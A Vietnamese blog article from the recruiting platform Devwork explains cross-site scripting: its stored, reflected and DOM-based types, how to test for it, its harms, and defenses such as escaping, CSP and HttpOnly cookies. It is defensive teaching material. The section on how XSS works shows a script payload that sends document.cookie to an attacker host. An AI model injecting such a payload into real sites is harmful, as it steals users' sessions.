Tấn công XSS là gì? Cách nhận biết, phân loại & phòng tránh hiệu quả

Blog / Tin công nghệ 22/05/2025
tan-cong-xss-la-gi
Phụ lục

XSS là gì và tại sao nó lại nguy hiểm đến vậy? Devwork mang đến bài viết chuyên sâu giúp bạn hiểu rõ về lỗ hổng tấn công phổ biến này, cách nhận diện và phương pháp phòng tránh hiệu quả để bảo vệ website của bạn.

XSS là gì?

XSS (Cross-Site Scripting) là một loại lỗ hổng bảo mật web phổ biến cho phép kẻ tấn công chèn mã JavaScript độc hại vào các trang web mà người dùng tin tưởng. Khi trình duyệt của nạn nhân thực thi những đoạn mã này, hacker có thể đánh cắp cookie, phiên đăng nhập, hay thậm chí chiếm quyền điều khiển tài khoản người dùng.

Không giống như nhiều lỗ hổng bảo mật khác nhắm vào máy chủ, XSS tấn công trực tiếp vào trình duyệt của người dùng cuối. Nó thường lợi dụng các form nhập liệu, URL tham số, và bất kỳ nơi nào website hiển thị dữ liệu do người dùng cung cấp mà không kiểm tra đúng cách.

Theo báo cáo từ OWASP (Open Web Application Security Project), XSS vẫn là một trong mười lỗ hổng bảo mật web nguy hiểm nhất. Sự nguy hiểm của XSS nằm ở chỗ nó cho phép kẻ tấn công thực thi mã từ xa trên máy của nạn nhân dưới bối cảnh tin cậy của website đang truy cập.

XSS (Cross-Site Scripting) là một loại lỗ hổng bảo mật web phổ biến cho phép kẻ tấn công chèn mã JavaScript độc hại

XSS (Cross-Site Scripting) là một loại lỗ hổng bảo mật web phổ biến cho phép kẻ tấn công chèn mã JavaScript độc hại

Có bao nhiêu loại tấn công XSS?

Để hiểu rõ hơn về cách XSS hoạt động, chúng ta cần phân biệt ba loại tấn công chính. Mỗi loại có cơ chế riêng và đòi hỏi phương pháp phòng chống khác nhau.

Stored XSS (XSS lưu trữ)

Stored XSS (còn gọi là XSS lưu trữ) được xem là dạng nguy hiểm nhất trong các kiểu tấn công XSS. Đây là hình thức tấn công mà mã độc hại được lưu trữ vĩnh viễn trên server của website mục tiêu.

  • Mã độc thường được chèn qua các form nhập liệu như bình luận, đánh giá, hoặc thông tin hồ sơ người dùng
  • Server lưu trữ mã độc này trong cơ sở dữ liệu
  • Khi người dùng khác truy cập trang có chứa mã độc, trình duyệt của họ sẽ tự động thực thi đoạn mã

Ví dụ thực tế: Trên một diễn đàn, hacker để lại bình luận chứa mã JavaScript độc hại thay vì nội dung thông thường. Người quản trị không lọc đúng cách dữ liệu đầu vào, khiến mã được lưu vào cơ sở dữ liệu. Mỗi khi có người truy cập bài viết đó, mã độc sẽ tự động kích hoạt, có thể đánh cắp cookie phiên đăng nhập và gửi đến máy chủ của kẻ tấn công.

Stored XSS (còn gọi là XSS lưu trữ) được xem là dạng nguy hiểm nhất

Stored XSS (còn gọi là XSS lưu trữ) được xem là dạng nguy hiểm nhất

Reflected XSS (XSS phản chiếu)

Reflected XSS là hình thức tấn công mà mã độc không được lưu trữ trên server, mà được "phản chiếu" từ yêu cầu của người dùng.

  • Kẻ tấn công thường gửi cho nạn nhân một URL đã bị thay đổi chứa mã độc
  • Khi nạn nhân nhấp vào liên kết, máy chủ nhận yêu cầu và "phản chiếu" mã độc trở lại trong phản hồi
  • Trình duyệt của nạn nhân thực thi mã độc, tin rằng nó đến từ nguồn đáng tin cậy

Tình huống thường gặp: Kẻ tấn công gửi email chứa liên kết đến trang tìm kiếm của một website uy tín, nhưng URL được chèn thêm mã JavaScript độc hại. Khi người dùng nhấp vào và truy cập trang kết quả tìm kiếm, website hiển thị lại tham số tìm kiếm (có chứa mã độc) và trình duyệt thực thi nó.

Reflected XSS là hình thức tấn công mà mã độc không được lưu trữ trên server

Reflected XSS là hình thức tấn công mà mã độc không được lưu trữ trên server

DOM-based XSS

DOM-based XSS là hình thức tấn công XSS xảy ra hoàn toàn ở phía trình duyệt, khi JavaScript của trang web thay đổi DOM (Document Object Model) theo cách không an toàn.

  • Mã độc được xử lý bởi JavaScript phía client
  • Không cần gửi mã độc đến server
  • Thường lợi dụng các hàm JavaScript không an toàn như document.write(), innerHTML, hoặc eval()

Điểm khác biệt quan trọng so với hai loại trên là DOM-based XSS hoàn toàn xảy ra ở phía client. Mã độc không bao giờ được gửi đến server, nên các biện pháp bảo vệ phía server thường không hiệu quả với loại tấn công này.

DOM-based XSS là hình thức tấn công XSS xảy ra hoàn toàn ở phía trình duyệt

DOM-based XSS là hình thức tấn công XSS xảy ra hoàn toàn ở phía trình duyệt

Bạn đọc tham khảo thêm: 

Trigger là gì? 6 điều cần biết về cơ chế kích hoạt tự động

Prop là gì trong ReactJS? Cách sử dụng prop để truyền dữ liệu

Làm sao để nhận biết trang web có thể bị XSS?

Việc kiểm tra website có dễ bị tấn công XSS hay không là bước quan trọng trong quy trình bảo mật. Dưới đây là một số cách để phát hiện lỗ hổng XSS:

Các dấu hiệu nhận biết:

  • Website có nhiều form nhập liệu không được bảo vệ đúng cách
  • URL thay đổi dựa trên tham số người dùng nhập vào
  • Website hiển thị lại nội dung do người dùng cung cấp mà không lọc hoặc mã hóa đúng cách
  • JavaScript được sử dụng để thao tác DOM dựa trên dữ liệu đầu vào

Kiểm tra đơn giản với script alert():

Để kiểm tra nhanh, bạn có thể thử nhập đoạn mã sau vào các form trên website:

javascript

<script>alert('XSS Test')</script>

Nếu website hiển thị hộp thoại cảnh báo, đó là dấu hiệu cho thấy website dễ bị tấn công XSS.

Công cụ test XSS:

  • Burp Suite: Công cụ chuyên nghiệp giúp phát hiện nhiều loại lỗ hổng bảo mật web, bao gồm XSS
  • OWASP ZAP: Công cụ mã nguồn mở miễn phí cho phép quét và phát hiện lỗ hổng XSS tự động
  • XSS Hunter: Công cụ chuyên biệt giúp phát hiện XSS thông qua các payload đặc biệt và báo cáo khi chúng được kích hoạt

XSS hoạt động như thế nào?

Để hiểu rõ hơn về cơ chế hoạt động của XSS, hãy xem xét quy trình tấn công từng bước:

Kẻ tấn công chèn mã độc:

Đầu tiên, kẻ tấn công tìm kiếm các điểm dễ bị tổn thương trên website - thường là các form nhập liệu, URL tham số, hoặc bất kỳ nơi nào cho phép người dùng nhập và hiển thị lại nội dung. Họ chèn mã JavaScript độc hại thay vì nội dung thông thường. Đoạn mã này có thể ngắn gọn như <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> hoặc phức tạp hơn nhiều.

Trình duyệt xử lý nội dung độc hại:

Khi nội dung độc hại được hiển thị cho người dùng, trình duyệt không thể phân biệt giữa mã JavaScript hợp pháp của website và mã độc hại được chèn vào. Trình duyệt thực thi mã với đặc quyền của website gốc, cho phép kẻ tấn công:

  • Đọc cookie của người dùng, bao gồm token phiên đăng nhập
  • Thực hiện các hành động với tư cách là người dùng đã đăng nhập
  • Theo dõi các thao tác bàn phím (keylogging)
  • Thay đổi nội dung trang web (phishing)
  • Đánh cắp thông tin nhạy cảm

Hệ quả có thể xảy ra:

Khi mã độc được thực thi, kẻ tấn công có thể:

  • Chiếm đoạt phiên làm việc của người dùng (session hijacking)
  • Lấy cắp thông tin đăng nhập
  • Thực hiện các giao dịch trái phép (nếu là website ngân hàng hoặc thương mại điện tử)
  • Cài đặt phần mềm độc hại
  • Chuyển hướng người dùng đến các trang web giả mạo.

Khi nội dung độc hại được hiển thị cho người dùng, trình duyệt không thể phân biệt giữa mã JavaScript hợp pháp của website

Khi nội dung độc hại được hiển thị cho người dùng, trình duyệt không thể phân biệt giữa mã JavaScript hợp pháp của website

Tác hại của XSS với người dùng và doanh nghiệp

Tấn công XSS gây ra những tác hại nghiêm trọng cho cả người dùng và doanh nghiệp sở hữu website.

Đối với người dùng:

Người dùng cuối thường là nạn nhân trực tiếp của các cuộc tấn công XSS. Họ có thể bị:

  • Đánh cắp thông tin đăng nhập và mật khẩu
  • Mất quyền kiểm soát tài khoản trên nhiều nền tảng (nếu sử dụng cùng một mật khẩu)
  • Lộ thông tin cá nhân và tài chính nhạy cảm
  • Bị theo dõi hoạt động trực tuyến mà không hay biết
  • Trở thành nạn nhân của lừa đảo trực tuyến qua các trang giả mạo

Đối với doanh nghiệp:

Doanh nghiệp sở hữu website bị tấn công XSS phải đối mặt với nhiều hậu quả nghiêm trọng:

  • Mất uy tín và niềm tin từ khách hàng
  • Nguy cơ bị kiện tụng và trách nhiệm pháp lý nếu dữ liệu khách hàng bị đánh cắp
  • Tổn thất tài chính do gián đoạn kinh doanh và chi phí khắc phục
  • Ảnh hưởng đến thứ hạng SEO nếu website bị chèn mã độc
  • Vi phạm các quy định về bảo vệ dữ liệu như GDPR có thể dẫn đến các khoản phạt lớn

Theo báo cáo của IBM, chi phí trung bình cho một vụ vi phạm dữ liệu đã vượt quá 4,45 triệu USD vào năm 2023, trong đó các lỗ hổng web như XSS là một trong những nguyên nhân phổ biến.

Cách phòng tránh XSS hiệu quả

Việc phòng chống XSS đòi hỏi sự nỗ lực từ cả nhà phát triển web và người dùng cuối. Dưới đây là những biện pháp hiệu quả để bảo vệ khỏi các cuộc tấn công XSS.

 Với nhà phát triển web:

Nhà phát triển web đóng vai trò quan trọng trong việc xây dựng các ứng dụng web an toàn, không dễ bị tấn công XSS. Một số biện pháp phòng chống hiệu quả bao gồm:

  • Escape dữ liệu trước khi hiển thị: Chuyển đổi các ký tự đặc biệt như <, >, ", '& thành các entity HTML tương ứng để ngăn trình duyệt thực thi mã. Ví dụ: chuyển đổi <script> thành &lt;script&gt;.
  • Sử dụng các framework có sẵn cơ chế chống XSS: Các framework hiện đại như React, Angular, và Vue đều có cơ chế bảo vệ tích hợp ngăn chặn XSS. Ví dụ, React tự động escape nội dung trước khi hiển thị, Angular sử dụng cơ chế Sanitization để xử lý dữ liệu nguy hiểm.
  • Kiểm tra đầu vào người dùng kỹ lưỡng: Áp dụng nguyên tắc "không tin tưởng dữ liệu đầu vào". Sử dụng whitelist thay vì blacklist khi lọc dữ liệu và xác thực cả ở phía client và server.
  • Thiết lập các HTTP Security Headers: Sử dụng Content-Security-Policy (CSP) để kiểm soát các nguồn tài nguyên được phép thực thi, X-XSS-Protection để kích hoạt bảo vệ XSS tích hợp của trình duyệt.
  • Sử dụng HttpOnly và Secure flags cho cookies: Ngăn JavaScript truy cập vào cookies quan trọng, giảm thiểu khả năng đánh cắp phiên làm việc ngay cả khi website có lỗ hổng XSS.

 Với người dùng web:

Người dùng cũng có thể thực hiện các biện pháp tự bảo vệ trước các cuộc tấn công XSS:

  • Không nhấp vào link không rõ nguồn: Đặc biệt cảnh giác với các URL dài, phức tạp hoặc chứa các ký tự đặc biệt và mã hóa. Kiểm tra kỹ địa chỉ trước khi nhấp vào các liên kết trong email hoặc tin nhắn.
  • Cài đặt extension bảo mật: Sử dụng các tiện ích mở rộng như NoScript, uBlock Origin hoặc Privacy Badger để kiểm soát việc thực thi JavaScript trên các trang web bạn truy cập.
  • Luôn đăng xuất khi rời khỏi web: Đặc biệt là trên các thiết bị công cộng hoặc khi sử dụng mạng Wi-Fi công cộng. Điều này giảm thiểu nguy cơ bị đánh cắp phiên làm việc thông qua các lỗ hổng XSS.
  • Cập nhật trình duyệt: Các trình duyệt hiện đại thường có cơ chế phòng chống XSS tích hợp. Đảm bảo bạn luôn sử dụng phiên bản mới nhất để nhận được các bản vá bảo mật.
  • Sử dụng trình quản lý mật khẩu: Giảm thiểu tác động của việc đánh cắp thông tin đăng nhập bằng cách sử dụng các mật khẩu mạnh và duy nhất cho từng trang web.

Một số công cụ phòng tránh XSS

Một số công cụ phòng tránh XSS

Kết luận

Có thể nói XSS là một trong những lỗ hổng web nguy hiểm nhất hiện nay, có khả năng gây ra những tổn thất nghiêm trọng cho cả người dùng và doanh nghiệp. Chúng tôi khuyến nghị các nhà phát triển web và chủ doanh nghiệp online cần đặc biệt chú trọng đến việc phòng chống XSS thông qua việc áp dụng các biện pháp bảo mật chặt chẽ và cập nhật kiến thức thường xuyên về các mối đe dọa mới.

Devwork

Devwork là Nền tảng TUYỂN DỤNG IT CẤP TỐC với mô hình kết nối Nhà tuyển dụng với mạng lưới hơn 30.000 headhunter tuyển dụng ở khắp mọi nơi.Với hơn 1800 doanh nghiệp IT tin dùng Devwork để :

  • Tối ưu chi phí
  • Tiết kiệm thời gian
  • Tăng tốc tuyển dụng tối đa
  • Đăng ký ngay Devwork trong hôm nay để tuyển dụng những tài năng ưu tú nhất.

    Tag Cloud:

    Tác giả: Lưu Quang Linh

    Link chia sẻ

    Bình luận

    Việc làm tại Devwork

    khám phá các cơ hội việc làm tốt nhất tại Devwork Xem thêm

    Bài viết liên quan

    Danh sách bài viết liên quan có thể bạn sẽ thích Xem thêm
    tim-hieu-url-la-gi

    URL là gì? Tìm hiểu ý nghĩa và cách tối ưu URL chuẩn SEO

    06:48 22/12/2025

    Bạn có bao giờ tự hỏi làm thế nào mà trình duyệt web lại tìm thấy chính xác trang web bạn muốn truy cập giữa hàng tỷ website ngoài kia không? Câu trả lời nằm ở một chuỗi ký tự tưởng chừng đơn giản nhưng cực kỳ quan trọng - URL. Vậy URL là gì, vai trò và cấu tạo như thế nào? Nếu bạn là người làm việc trong lĩnh vực IT, phát triển web, hoặc đơn giản là một người dùng muốn hiểu rõ hơn về cách thức vận hành của mạng lưới toàn cầu, bài viết này chính là dành cho bạn...

    Hosting là gì? Giải mã về hosting và cách hoạt động

    07:08 18/12/2025

    Khi bắt đầu xây dựng website, chắc hẳn bạn đã nghe đến khái niệm hosting hàng chục lần. Nhưng hosting là gì, nó có vai trò ra sao trong việc vận hành website và làm sao để chọn được dịch vụ phù hợp? Bài viết này, Devwork sẽ giúp bạn giải mã mọi thắc mắc từ cơ bản đến chuyên sâu về thế giới Web Hosting, từ khái niệm, các loại hình phổ biến cho đến cách thức chúng hoạt động, đảm bảo bạn sẽ có cái nhìn toàn diện nhất!

    hosting-la-gi

    Lương gross là gì? Cách quy đổi lương gross sang net dễ hiểu nhất

    07:48 12/12/2025

    Khi phỏng vấn hoặc đọc hợp đồng lao động, lương gross là cụm từ xuất hiện gần như 100%. Nhưng lương gross là gì mà lại quan trọng đến vậy? Nếu bạn đang bối rối chưa biết lương gross là gì và lương net là gì thì bài viết này Devwork sẽ giúp bạn hiểu tường tận từ khái niệm, cách tính cho đến cách quy đổi đơn giản nhất.

    luong-gross-la-gi

    Cách đặt mật khẩu máy tính đơn giản, bảo mật tuyệt đối 2026

    07:34 12/12/2025

    Chiếc máy tính, dù là PC hay laptop không chỉ là công cụ làm việc mà còn là "ngân hàng" lưu trữ vô số dữ liệu quan trọng: tài liệu cá nhân, thông tin ngân hàng, hình ảnh riêng tư... Nếu một ngày, những thông tin này rơi vào tay kẻ xấu, hậu quả sẽ thế nào? Chỉ với vài bước đơn giản, bạn có thể bảo vệ máy tính an toàn tuyệt đối bằng cách đặt mật khẩu máy tính. Bài viết này Devwork sẽ hướng dẫn chi tiết từ A-Z, phù hợp cho cả người dùng laptop và PC, giúp bạn tự làm được ngay lần đầu tiên.

    cach-dat-mat-khau-may-tinh
    intern-la-gi

    Intern là gì? Toàn bộ những điều bạn cần biết về vị trí Intern

    09:39 02/12/2025

    Với sự gia tăng mạnh mẽ của nhu cầu tuyển dụng thực tập sinh tại các doanh nghiệp, khái niệm intern và internship ngày càng trở nên quen thuộc, đặc biệt với sinh viên năm cuối, người mới ra trường. Tuy nhiên, không ít bạn trẻ vẫn còn băn khoăn intern là gì, làm intern là làm gì, hay công việc intern có gì khác với fresher. Trong bài viết này, Devwork.vn sẽ giúp bạn hiểu rõ hơn về vị trí intern, đồng thời chia sẻ những cơ hội thực tập hấp dẫn dành cho người mới bắt đầu.

    case-study-la-gi

    Case study là gì? Phương pháp phân tích case study hiệu quả

    04:07 25/11/2025

    Case study không phải cụm từ xa lạ trong marketing, kinh doanh hay học tập. Nhưng làm sao để tiếp cận và giải case study hiệu quả thì không phải ai cũng biết và làm được. Chính vì vậy, trong bài viết hôm nay, cùng Devwork đi tìm hiểu chi tiết về case study là gì, khám phá bí mật đằng sau các case study thành công, từ đó giúp bạn có cái nhìn toàn diện nhất để áp dụng vào công việc hoặc doanh nghiệp của mình.